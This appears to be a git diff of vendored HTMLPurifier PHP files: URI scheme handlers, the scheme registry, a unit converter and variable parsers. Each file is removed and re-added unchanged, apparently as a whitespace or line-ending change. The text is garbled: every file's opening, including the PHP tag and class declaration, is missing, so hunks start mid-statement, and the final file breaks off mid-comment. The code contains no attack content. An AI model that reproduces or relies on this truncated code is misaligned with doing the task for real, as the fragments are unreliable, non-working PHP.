a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php index a220a6ad40..215be4ba80 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php @@ -1,44 +1,44 @@ -userinfo = null; - // file:// makes no provisions for accessing the resource - $uri->port = null; - // While it seems to work on Firefox, the querystring has - // no possible effect and is thus stripped. - $uri->query = null; - return true; - } -} - -// vim: et sw=4 sts=4 +userinfo = null; + // file:// makes no provisions for accessing the resource + $uri->port = null; + // While it seems to work on Firefox, the querystring has + // no possible effect and is thus stripped. + $uri->query = null; + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php index 8e7fb8c343..1eb43ee5c4 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php @@ -1,58 +1,58 @@ -query = null; - - // typecode check - $semicolon_pos = strrpos($uri->path, ';'); // reverse - if ($semicolon_pos !== false) { - $type = substr($uri->path, $semicolon_pos + 1); // no semicolon - $uri->path = substr($uri->path, 0, $semicolon_pos); - $type_ret = ''; - if (strpos($type, '=') !== false) { - // figure out whether or not the declaration is correct - list($key, $typecode) = explode('=', $type, 2); - if ($key !== 'type') { - // invalid key, tack it back on encoded - $uri->path .= '%3B' . $type; - } elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') { - $type_ret = ";type=$typecode"; - } - } else { - $uri->path .= '%3B' . $type; - } - $uri->path = str_replace(';', '%3B', $uri->path); - $uri->path .= $type_ret; - } - return true; - } -} - -// vim: et sw=4 sts=4 +query = null; + + // typecode check + $semicolon_pos = strrpos($uri->path, ';'); // reverse + if ($semicolon_pos !== false) { + $type = substr($uri->path, $semicolon_pos + 1); // no semicolon + $uri->path = substr($uri->path, 0, $semicolon_pos); + $type_ret = ''; + if (strpos($type, '=') !== false) { + // figure out whether or not the declaration is correct + list($key, $typecode) = explode('=', $type, 2); + if ($key !== 'type') { + // invalid key, tack it back on encoded + $uri->path .= '%3B' . $type; + } elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') { + $type_ret = ";type=$typecode"; + } + } else { + $uri->path .= '%3B' . $type; + } + $uri->path = str_replace(';', '%3B', $uri->path); + $uri->path .= $type_ret; + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php index 63c8c928e2..ce69ec438a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php @@ -1,36 +1,36 @@ -userinfo = null; - return true; - } -} - -// vim: et sw=4 sts=4 +userinfo = null; + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php index 4de39090d5..0e96882db9 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php @@ -1,18 +1,18 @@ -userinfo = null; - $uri->host = null; - $uri->port = null; - // we need to validate path against RFC 2368's addr-spec - return true; - } -} - -// vim: et sw=4 sts=4 +userinfo = null; + $uri->host = null; + $uri->port = null; + // we need to validate path against RFC 2368's addr-spec + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php index 22c9ebc53c..7490927d63 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php @@ -1,35 +1,35 @@ -userinfo = null; - $uri->host = null; - $uri->port = null; - $uri->query = null; - // typecode check needed on path - return true; - } -} - -// vim: et sw=4 sts=4 +userinfo = null; + $uri->host = null; + $uri->port = null; + $uri->query = null; + // typecode check needed on path + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php index 803ed13819..f211d715e9 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php @@ -1,32 +1,32 @@ -userinfo = null; - $uri->query = null; - return true; - } -} - -// vim: et sw=4 sts=4 +userinfo = null; + $uri->query = null; + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/tel.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/tel.php index 02f223bb3b..8cd1933527 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/tel.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/tel.php @@ -1,46 +1,46 @@ -userinfo = null; - $uri->host = null; - $uri->port = null; - - // Delete all non-numeric characters, non-x characters - // from phone number, EXCEPT for a leading plus sign. - $uri->path = preg_replace('/(?!^\+)[^\dx]/', '', - // Normalize e(x)tension to lower-case - str_replace('X', 'x', $uri->path)); - - return true; - } -} - -// vim: et sw=4 sts=4 +userinfo = null; + $uri->host = null; + $uri->port = null; + + // Delete all non-numeric characters, non-x characters + // from phone number, EXCEPT for a leading plus sign. + $uri->path = preg_replace('/(?!^\+)[^\dx]/', '', + // Normalize e(x)tension to lower-case + str_replace('X', 'x', $uri->path)); + + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php index 24280638a2..4ac8a0b76e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php @@ -1,81 +1,81 @@ -get('URI.AllowedSchemes'); - if (!$config->get('URI.OverrideAllowedSchemes') && - !isset($allowed_schemes[$scheme]) - ) { - return; - } - - if (isset($this->schemes[$scheme])) { - return $this->schemes[$scheme]; - } - if (!isset($allowed_schemes[$scheme])) { - return; - } - - $class = 'HTMLPurifier_URIScheme_' . $scheme; - if (!class_exists($class)) { - return; - } - $this->schemes[$scheme] = new $class(); - return $this->schemes[$scheme]; - } - - /** - * Registers a custom scheme to the cache, bypassing reflection. - * @param string $scheme Scheme name - * @param HTMLPurifier_URIScheme $scheme_obj - */ - public function register($scheme, $scheme_obj) - { - $this->schemes[$scheme] = $scheme_obj; - } -} - -// vim: et sw=4 sts=4 +get('URI.AllowedSchemes'); + if (!$config->get('URI.OverrideAllowedSchemes') && + !isset($allowed_schemes[$scheme]) + ) { + return; + } + + if (isset($this->schemes[$scheme])) { + return $this->schemes[$scheme]; + } + if (!isset($allowed_schemes[$scheme])) { + return; + } + + $class = 'HTMLPurifier_URIScheme_' . $scheme; + if (!class_exists($class)) { + return; + } + $this->schemes[$scheme] = new $class(); + return $this->schemes[$scheme]; + } + + /** + * Registers a custom scheme to the cache, bypassing reflection. + * @param string $scheme Scheme name + * @param HTMLPurifier_URIScheme $scheme_obj + */ + public function register($scheme, $scheme_obj) + { + $this->schemes[$scheme] = $scheme_obj; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php index e663b32717..166f3bf306 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php @@ -1,307 +1,307 @@ - array( - 'px' => 3, // This is as per CSS 2.1 and Firefox. Your mileage may vary - 'pt' => 4, - 'pc' => 48, - 'in' => 288, - self::METRIC => array('pt', '0.352777778', 'mm'), - ), - self::METRIC => array( - 'mm' => 1, - 'cm' => 10, - self::ENGLISH => array('mm', '2.83464567', 'pt'), - ), - ); - - /** - * Minimum bcmath precision for output. - * @type int - */ - protected $outputPrecision; - - /** - * Bcmath precision for internal calculations. - * @type int - */ - protected $internalPrecision; - - /** - * Whether or not BCMath is available. - * @type bool - */ - private $bcmath; - - public function __construct($output_precision = 4, $internal_precision = 10, $force_no_bcmath = false) - { - $this->outputPrecision = $output_precision; - $this->internalPrecision = $internal_precision; - $this->bcmath = !$force_no_bcmath && function_exists('bcmul'); - } - - /** - * Converts a length object of one unit into another unit. - * @param HTMLPurifier_Length $length - * Instance of HTMLPurifier_Length to convert. You must validate() - * it before passing it here! - * @param string $to_unit - * Unit to convert to. - * @return HTMLPurifier_Length|bool - * @note - * About precision: This conversion function pays very special - * attention to the incoming precision of values and attempts - * to maintain a number of significant figure. Results are - * fairly accurate up to nine digits. Some caveats: - * - If a number is zero-padded as a result of this significant - * figure tracking, the zeroes will be eliminated. - * - If a number contains less than four sigfigs ($outputPrecision) - * and this causes some decimals to be excluded, those - * decimals will be added on. - */ - public function convert($length, $to_unit) - { - if (!$length->isValid()) { - return false; - } - - $n = $length->getN(); - $unit = $length->getUnit(); - - if ($n === '0' || $unit === false) { - return new HTMLPurifier_Length('0', false); - } - - $state = $dest_state = false; - foreach (self::$units as $k => $x) { - if (isset($x[$unit])) { - $state = $k; - } - if (isset($x[$to_unit])) { - $dest_state = $k; - } - } - if (!$state || !$dest_state) { - return false; - } - - // Some calculations about the initial precision of the number; - // this will be useful when we need to do final rounding. - $sigfigs = $this->getSigFigs($n); - if ($sigfigs < $this->outputPrecision) { - $sigfigs = $this->outputPrecision; - } - - // BCMath's internal precision deals only with decimals. Use - // our default if the initial number has no decimals, or increase - // it by how ever many decimals, thus, the number of guard digits - // will always be greater than or equal to internalPrecision. - $log = (int)floor(log(abs($n), 10)); - $cp = ($log < 0) ? $this->internalPrecision - $log : $this->internalPrecision; // internal precision - - for ($i = 0; $i < 2; $i++) { - - // Determine what unit IN THIS SYSTEM we need to convert to - if ($dest_state === $state) { - // Simple conversion - $dest_unit = $to_unit; - } else { - // Convert to the smallest unit, pending a system shift - $dest_unit = self::$units[$state][$dest_state][0]; - } - - // Do the conversion if necessary - if ($dest_unit !== $unit) { - $factor = $this->div(self::$units[$state][$unit], self::$units[$state][$dest_unit], $cp); - $n = $this->mul($n, $factor, $cp); - $unit = $dest_unit; - } - - // Output was zero, so bail out early. Shouldn't ever happen. - if ($n === '') { - $n = '0'; - $unit = $to_unit; - break; - } - - // It was a simple conversion, so bail out - if ($dest_state === $state) { - break; - } - - if ($i !== 0) { - // Conversion failed! Apparently, the system we forwarded - // to didn't have this unit. This should never happen! - return false; - } - - // Pre-condition: $i == 0 - - // Perform conversion to next system of units - $n = $this->mul($n, self::$units[$state][$dest_state][1], $cp); - $unit = self::$units[$state][$dest_state][2]; - $state = $dest_state; - - // One more loop around to convert the unit in the new system. - - } - - // Post-condition: $unit == $to_unit - if ($unit !== $to_unit) { - return false; - } - - // Useful for debugging: - //echo "
    n";
    -        //echo "$n\nsigfigs = $sigfigs\nnew_log = $new_log\nlog = $log\nrp = $rp\n
    \n"; - - $n = $this->round($n, $sigfigs); - if (strpos($n, '.') !== false) { - $n = rtrim($n, '0'); - } - $n = rtrim($n, '.'); - - return new HTMLPurifier_Length($n, $unit); - } - - /** - * Returns the number of significant figures in a string number. - * @param string $n Decimal number - * @return int number of sigfigs - */ - public function getSigFigs($n) - { - $n = ltrim($n, '0+-'); - $dp = strpos($n, '.'); // decimal position - if ($dp === false) { - $sigfigs = strlen(rtrim($n, '0')); - } else { - $sigfigs = strlen(ltrim($n, '0.')); // eliminate extra decimal character - if ($dp !== 0) { - $sigfigs--; - } - } - return $sigfigs; - } - - /** - * Adds two numbers, using arbitrary precision when available. - * @param string $s1 - * @param string $s2 - * @param int $scale - * @return string - */ - private function add($s1, $s2, $scale) - { - if ($this->bcmath) { - return bcadd($s1, $s2, $scale); - } else { - return $this->scale((float)$s1 + (float)$s2, $scale); - } - } - - /** - * Multiples two numbers, using arbitrary precision when available. - * @param string $s1 - * @param string $s2 - * @param int $scale - * @return string - */ - private function mul($s1, $s2, $scale) - { - if ($this->bcmath) { - return bcmul($s1, $s2, $scale); - } else { - return $this->scale((float)$s1 * (float)$s2, $scale); - } - } - - /** - * Divides two numbers, using arbitrary precision when available. - * @param string $s1 - * @param string $s2 - * @param int $scale - * @return string - */ - private function div($s1, $s2, $scale) - { - if ($this->bcmath) { - return bcdiv($s1, $s2, $scale); - } else { - return $this->scale((float)$s1 / (float)$s2, $scale); - } - } - - /** - * Rounds a number according to the number of sigfigs it should have, - * using arbitrary precision when available. - * @param float $n - * @param int $sigfigs - * @return string - */ - private function round($n, $sigfigs) - { - $new_log = (int)floor(log(abs($n), 10)); // Number of digits left of decimal - 1 - $rp = $sigfigs - $new_log - 1; // Number of decimal places needed - $neg = $n < 0 ? '-' : ''; // Negative sign - if ($this->bcmath) { - if ($rp >= 0) { - $n = bcadd($n, $neg . '0.' . str_repeat('0', $rp) . '5', $rp + 1); - $n = bcdiv($n, '1', $rp); - } else { - // This algorithm partially depends on the standardized - // form of numbers that comes out of bcmath. - $n = bcadd($n, $neg . '5' . str_repeat('0', $new_log - $sigfigs), 0); - $n = substr($n, 0, $sigfigs + strlen($neg)) . str_repeat('0', $new_log - $sigfigs + 1); - } - return $n; - } else { - return $this->scale(round($n, $sigfigs - $new_log - 1), $rp + 1); - } - } - - /** - * Scales a float to $scale digits right of decimal point, like BCMath. - * @param float $r - * @param int $scale - * @return string - */ - private function scale($r, $scale) - { - if ($scale < 0) { - // The f sprintf type doesn't support negative numbers, so we - // need to cludge things manually. First get the string. - $r = sprintf('%.0f', (float)$r); - // Due to floating point precision loss, $r will more than likely - // look something like 4652999999999.9234. We grab one more digit - // than we need to precise from $r and then use that to round - // appropriately. - $precise = (string)round(substr($r, 0, strlen($r) + $scale), -1); - // Now we return it, truncating the zero that was rounded off. - return substr($precise, 0, -1) . str_repeat('0', -$scale + 1); - } - return sprintf('%.' . $scale . 'f', (float)$r); - } -} - -// vim: et sw=4 sts=4 + array( + 'px' => 3, // This is as per CSS 2.1 and Firefox. Your mileage may vary + 'pt' => 4, + 'pc' => 48, + 'in' => 288, + self::METRIC => array('pt', '0.352777778', 'mm'), + ), + self::METRIC => array( + 'mm' => 1, + 'cm' => 10, + self::ENGLISH => array('mm', '2.83464567', 'pt'), + ), + ); + + /** + * Minimum bcmath precision for output. + * @type int + */ + protected $outputPrecision; + + /** + * Bcmath precision for internal calculations. + * @type int + */ + protected $internalPrecision; + + /** + * Whether or not BCMath is available. + * @type bool + */ + private $bcmath; + + public function __construct($output_precision = 4, $internal_precision = 10, $force_no_bcmath = false) + { + $this->outputPrecision = $output_precision; + $this->internalPrecision = $internal_precision; + $this->bcmath = !$force_no_bcmath && function_exists('bcmul'); + } + + /** + * Converts a length object of one unit into another unit. + * @param HTMLPurifier_Length $length + * Instance of HTMLPurifier_Length to convert. You must validate() + * it before passing it here! + * @param string $to_unit + * Unit to convert to. + * @return HTMLPurifier_Length|bool + * @note + * About precision: This conversion function pays very special + * attention to the incoming precision of values and attempts + * to maintain a number of significant figure. Results are + * fairly accurate up to nine digits. Some caveats: + * - If a number is zero-padded as a result of this significant + * figure tracking, the zeroes will be eliminated. + * - If a number contains less than four sigfigs ($outputPrecision) + * and this causes some decimals to be excluded, those + * decimals will be added on. + */ + public function convert($length, $to_unit) + { + if (!$length->isValid()) { + return false; + } + + $n = $length->getN(); + $unit = $length->getUnit(); + + if ($n === '0' || $unit === false) { + return new HTMLPurifier_Length('0', false); + } + + $state = $dest_state = false; + foreach (self::$units as $k => $x) { + if (isset($x[$unit])) { + $state = $k; + } + if (isset($x[$to_unit])) { + $dest_state = $k; + } + } + if (!$state || !$dest_state) { + return false; + } + + // Some calculations about the initial precision of the number; + // this will be useful when we need to do final rounding. + $sigfigs = $this->getSigFigs($n); + if ($sigfigs < $this->outputPrecision) { + $sigfigs = $this->outputPrecision; + } + + // BCMath's internal precision deals only with decimals. Use + // our default if the initial number has no decimals, or increase + // it by how ever many decimals, thus, the number of guard digits + // will always be greater than or equal to internalPrecision. + $log = (int)floor(log(abs($n), 10)); + $cp = ($log < 0) ? $this->internalPrecision - $log : $this->internalPrecision; // internal precision + + for ($i = 0; $i < 2; $i++) { + + // Determine what unit IN THIS SYSTEM we need to convert to + if ($dest_state === $state) { + // Simple conversion + $dest_unit = $to_unit; + } else { + // Convert to the smallest unit, pending a system shift + $dest_unit = self::$units[$state][$dest_state][0]; + } + + // Do the conversion if necessary + if ($dest_unit !== $unit) { + $factor = $this->div(self::$units[$state][$unit], self::$units[$state][$dest_unit], $cp); + $n = $this->mul($n, $factor, $cp); + $unit = $dest_unit; + } + + // Output was zero, so bail out early. Shouldn't ever happen. + if ($n === '') { + $n = '0'; + $unit = $to_unit; + break; + } + + // It was a simple conversion, so bail out + if ($dest_state === $state) { + break; + } + + if ($i !== 0) { + // Conversion failed! Apparently, the system we forwarded + // to didn't have this unit. This should never happen! + return false; + } + + // Pre-condition: $i == 0 + + // Perform conversion to next system of units + $n = $this->mul($n, self::$units[$state][$dest_state][1], $cp); + $unit = self::$units[$state][$dest_state][2]; + $state = $dest_state; + + // One more loop around to convert the unit in the new system. + + } + + // Post-condition: $unit == $to_unit + if ($unit !== $to_unit) { + return false; + } + + // Useful for debugging: + //echo "
    n";
    +        //echo "$n\nsigfigs = $sigfigs\nnew_log = $new_log\nlog = $log\nrp = $rp\n
    \n"; + + $n = $this->round($n, $sigfigs); + if (strpos($n, '.') !== false) { + $n = rtrim($n, '0'); + } + $n = rtrim($n, '.'); + + return new HTMLPurifier_Length($n, $unit); + } + + /** + * Returns the number of significant figures in a string number. + * @param string $n Decimal number + * @return int number of sigfigs + */ + public function getSigFigs($n) + { + $n = ltrim($n, '0+-'); + $dp = strpos($n, '.'); // decimal position + if ($dp === false) { + $sigfigs = strlen(rtrim($n, '0')); + } else { + $sigfigs = strlen(ltrim($n, '0.')); // eliminate extra decimal character + if ($dp !== 0) { + $sigfigs--; + } + } + return $sigfigs; + } + + /** + * Adds two numbers, using arbitrary precision when available. + * @param string $s1 + * @param string $s2 + * @param int $scale + * @return string + */ + private function add($s1, $s2, $scale) + { + if ($this->bcmath) { + return bcadd($s1, $s2, $scale); + } else { + return $this->scale((float)$s1 + (float)$s2, $scale); + } + } + + /** + * Multiples two numbers, using arbitrary precision when available. + * @param string $s1 + * @param string $s2 + * @param int $scale + * @return string + */ + private function mul($s1, $s2, $scale) + { + if ($this->bcmath) { + return bcmul($s1, $s2, $scale); + } else { + return $this->scale((float)$s1 * (float)$s2, $scale); + } + } + + /** + * Divides two numbers, using arbitrary precision when available. + * @param string $s1 + * @param string $s2 + * @param int $scale + * @return string + */ + private function div($s1, $s2, $scale) + { + if ($this->bcmath) { + return bcdiv($s1, $s2, $scale); + } else { + return $this->scale((float)$s1 / (float)$s2, $scale); + } + } + + /** + * Rounds a number according to the number of sigfigs it should have, + * using arbitrary precision when available. + * @param float $n + * @param int $sigfigs + * @return string + */ + private function round($n, $sigfigs) + { + $new_log = (int)floor(log(abs($n), 10)); // Number of digits left of decimal - 1 + $rp = $sigfigs - $new_log - 1; // Number of decimal places needed + $neg = $n < 0 ? '-' : ''; // Negative sign + if ($this->bcmath) { + if ($rp >= 0) { + $n = bcadd($n, $neg . '0.' . str_repeat('0', $rp) . '5', $rp + 1); + $n = bcdiv($n, '1', $rp); + } else { + // This algorithm partially depends on the standardized + // form of numbers that comes out of bcmath. + $n = bcadd($n, $neg . '5' . str_repeat('0', $new_log - $sigfigs), 0); + $n = substr($n, 0, $sigfigs + strlen($neg)) . str_repeat('0', $new_log - $sigfigs + 1); + } + return $n; + } else { + return $this->scale(round($n, $sigfigs - $new_log - 1), $rp + 1); + } + } + + /** + * Scales a float to $scale digits right of decimal point, like BCMath. + * @param float $r + * @param int $scale + * @return string + */ + private function scale($r, $scale) + { + if ($scale < 0) { + // The f sprintf type doesn't support negative numbers, so we + // need to cludge things manually. First get the string. + $r = sprintf('%.0f', (float)$r); + // Due to floating point precision loss, $r will more than likely + // look something like 4652999999999.9234. We grab one more digit + // than we need to precise from $r and then use that to round + // appropriately. + $precise = (string)round(substr($r, 0, strlen($r) + $scale), -1); + // Now we return it, truncating the zero that was rounded off. + return substr($precise, 0, -1) . str_repeat('0', -$scale + 1); + } + return sprintf('%.' . $scale . 'f', (float)$r); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php index 6a9ef71582..0c97c8289d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php @@ -1,198 +1,198 @@ - self::C_STRING, - 'istring' => self::ISTRING, - 'text' => self::TEXT, - 'itext' => self::ITEXT, - 'int' => self::C_INT, - 'float' => self::C_FLOAT, - 'bool' => self::C_BOOL, - 'lookup' => self::LOOKUP, - 'list' => self::ALIST, - 'hash' => self::HASH, - 'mixed' => self::C_MIXED - ); - - /** - * Lookup table of types that are string, and can have aliases or - * allowed value lists. - */ - public static $stringTypes = array( - self::C_STRING => true, - self::ISTRING => true, - self::TEXT => true, - self::ITEXT => true, - ); - - /** - * Validate a variable according to type. - * It may return NULL as a valid type if $allow_null is true. - * - * @param mixed $var Variable to validate - * @param int $type Type of variable, see HTMLPurifier_VarParser->types - * @param bool $allow_null Whether or not to permit null as a value - * @return string Validated and type-coerced variable - * @throws HTMLPurifier_VarParserException - */ - final public function parse($var, $type, $allow_null = false) - { - if (is_string($type)) { - if (!isset(HTMLPurifier_VarParser::$types[$type])) { - throw new HTMLPurifier_VarParserException("Invalid type '$type'"); - } else { - $type = HTMLPurifier_VarParser::$types[$type]; - } - } - $var = $this->parseImplementation($var, $type, $allow_null); - if ($allow_null && $var === null) { - return null; - } - // These are basic checks, to make sure nothing horribly wrong - // happened in our implementations. - switch ($type) { - case (self::C_STRING): - case (self::ISTRING): - case (self::TEXT): - case (self::ITEXT): - if (!is_string($var)) { - break; - } - if ($type == self::ISTRING || $type == self::ITEXT) { - $var = strtolower($var); - } - return $var; - case (self::C_INT): - if (!is_int($var)) { - break; - } - return $var; - case (self::C_FLOAT): - if (!is_float($var)) { - break; - } - return $var; - case (self::C_BOOL): - if (!is_bool($var)) { - break; - } - return $var; - case (self::LOOKUP): - case (self::ALIST): - case (self::HASH): - if (!is_array($var)) { - break; - } - if ($type === self::LOOKUP) { - foreach ($var as $k) { - if ($k !== true) { - $this->error('Lookup table contains value other than true'); - } - } - } elseif ($type === self::ALIST) { - $keys = array_keys($var); - if (array_keys($keys) !== $keys) { - $this->error('Indices for list are not uniform'); - } - } - return $var; - case (self::C_MIXED): - return $var; - default: - $this->errorInconsistent(get_class($this), $type); - } - $this->errorGeneric($var, $type); - } - - /** - * Actually implements the parsing. Base implementation does not - * do anything to $var. Subclasses should overload this! - * @param mixed $var - * @param int $type - * @param bool $allow_null - * @return string - */ - protected function parseImplementation($var, $type, $allow_null) - { - return $var; - } - - /** - * Throws an exception. - * @throws HTMLPurifier_VarParserException - */ - protected function error($msg) - { - throw new HTMLPurifier_VarParserException($msg); - } - - /** - * Throws an inconsistency exception. - * @note This should not ever be called. It would be called if we - * extend the allowed values of HTMLPurifier_VarParser without - * updating subclasses. - * @param string $class - * @param int $type - * @throws HTMLPurifier_Exception - */ - protected function errorInconsistent($class, $type) - { - throw new HTMLPurifier_Exception( - "Inconsistency in $class: " . HTMLPurifier_VarParser::getTypeName($type) . - " not implemented" - ); - } - - /** - * Generic error for if a type didn't work. - * @param mixed $var - * @param int $type - */ - protected function errorGeneric($var, $type) - { - $vtype = gettype($var); - $this->error("Expected type " . HTMLPurifier_VarParser::getTypeName($type) . ", got $vtype"); - } - - /** - * @param int $type - * @return string - */ - public static function getTypeName($type) - { - static $lookup; - if (!$lookup) { - // Lazy load the alternative lookup table - $lookup = array_flip(HTMLPurifier_VarParser::$types); - } - if (!isset($lookup[$type])) { - return 'unknown'; - } - return $lookup[$type]; - } -} - -// vim: et sw=4 sts=4 + self::C_STRING, + 'istring' => self::ISTRING, + 'text' => self::TEXT, + 'itext' => self::ITEXT, + 'int' => self::C_INT, + 'float' => self::C_FLOAT, + 'bool' => self::C_BOOL, + 'lookup' => self::LOOKUP, + 'list' => self::ALIST, + 'hash' => self::HASH, + 'mixed' => self::C_MIXED + ); + + /** + * Lookup table of types that are string, and can have aliases or + * allowed value lists. + */ + public static $stringTypes = array( + self::C_STRING => true, + self::ISTRING => true, + self::TEXT => true, + self::ITEXT => true, + ); + + /** + * Validate a variable according to type. + * It may return NULL as a valid type if $allow_null is true. + * + * @param mixed $var Variable to validate + * @param int $type Type of variable, see HTMLPurifier_VarParser->types + * @param bool $allow_null Whether or not to permit null as a value + * @return string Validated and type-coerced variable + * @throws HTMLPurifier_VarParserException + */ + final public function parse($var, $type, $allow_null = false) + { + if (is_string($type)) { + if (!isset(HTMLPurifier_VarParser::$types[$type])) { + throw new HTMLPurifier_VarParserException("Invalid type '$type'"); + } else { + $type = HTMLPurifier_VarParser::$types[$type]; + } + } + $var = $this->parseImplementation($var, $type, $allow_null); + if ($allow_null && $var === null) { + return null; + } + // These are basic checks, to make sure nothing horribly wrong + // happened in our implementations. + switch ($type) { + case (self::C_STRING): + case (self::ISTRING): + case (self::TEXT): + case (self::ITEXT): + if (!is_string($var)) { + break; + } + if ($type == self::ISTRING || $type == self::ITEXT) { + $var = strtolower($var); + } + return $var; + case (self::C_INT): + if (!is_int($var)) { + break; + } + return $var; + case (self::C_FLOAT): + if (!is_float($var)) { + break; + } + return $var; + case (self::C_BOOL): + if (!is_bool($var)) { + break; + } + return $var; + case (self::LOOKUP): + case (self::ALIST): + case (self::HASH): + if (!is_array($var)) { + break; + } + if ($type === self::LOOKUP) { + foreach ($var as $k) { + if ($k !== true) { + $this->error('Lookup table contains value other than true'); + } + } + } elseif ($type === self::ALIST) { + $keys = array_keys($var); + if (array_keys($keys) !== $keys) { + $this->error('Indices for list are not uniform'); + } + } + return $var; + case (self::C_MIXED): + return $var; + default: + $this->errorInconsistent(get_class($this), $type); + } + $this->errorGeneric($var, $type); + } + + /** + * Actually implements the parsing. Base implementation does not + * do anything to $var. Subclasses should overload this! + * @param mixed $var + * @param int $type + * @param bool $allow_null + * @return string + */ + protected function parseImplementation($var, $type, $allow_null) + { + return $var; + } + + /** + * Throws an exception. + * @throws HTMLPurifier_VarParserException + */ + protected function error($msg) + { + throw new HTMLPurifier_VarParserException($msg); + } + + /** + * Throws an inconsistency exception. + * @note This should not ever be called. It would be called if we + * extend the allowed values of HTMLPurifier_VarParser without + * updating subclasses. + * @param string $class + * @param int $type + * @throws HTMLPurifier_Exception + */ + protected function errorInconsistent($class, $type) + { + throw new HTMLPurifier_Exception( + "Inconsistency in $class: " . HTMLPurifier_VarParser::getTypeName($type) . + " not implemented" + ); + } + + /** + * Generic error for if a type didn't work. + * @param mixed $var + * @param int $type + */ + protected function errorGeneric($var, $type) + { + $vtype = gettype($var); + $this->error("Expected type " . HTMLPurifier_VarParser::getTypeName($type) . ", got $vtype"); + } + + /** + * @param int $type + * @return string + */ + public static function getTypeName($type) + { + static $lookup; + if (!$lookup) { + // Lazy load the alternative lookup table + $lookup = array_flip(HTMLPurifier_VarParser::$types); + } + if (!isset($lookup[$type])) { + return 'unknown'; + } + return $lookup[$type]; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php index 4ec648b4a1..3bfbe83868 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php @@ -1,130 +1,130 @@ - $j) { - $var[$i] = trim($j); - } - if ($type === self::HASH) { - // key:value,key2:value2 - $nvar = array(); - foreach ($var as $keypair) { - $c = explode(':', $keypair, 2); - if (!isset($c[1])) { - continue; - } - $nvar[trim($c[0])] = trim($c[1]); - } - $var = $nvar; - } - } - if (!is_array($var)) { - break; - } - $keys = array_keys($var); - if ($keys === array_keys($keys)) { - if ($type == self::ALIST) { - return $var; - } elseif ($type == self::LOOKUP) { - $new = array(); - foreach ($var as $key) { - $new[$key] = true; - } - return $new; - } else { - break; - } - } - if ($type === self::ALIST) { - trigger_error("Array list did not have consecutive integer indexes", E_USER_WARNING); - return array_values($var); - } - if ($type === self::LOOKUP) { - foreach ($var as $key => $value) { - if ($value !== true) { - trigger_error( - "Lookup array has non-true value at key '$key'; " . - "maybe your input array was not indexed numerically", - E_USER_WARNING - ); - } - $var[$key] = true; - } - } - return $var; - default: - $this->errorInconsistent(__CLASS__, $type); - } - $this->errorGeneric($var, $type); - } -} - -// vim: et sw=4 sts=4 + $j) { + $var[$i] = trim($j); + } + if ($type === self::HASH) { + // 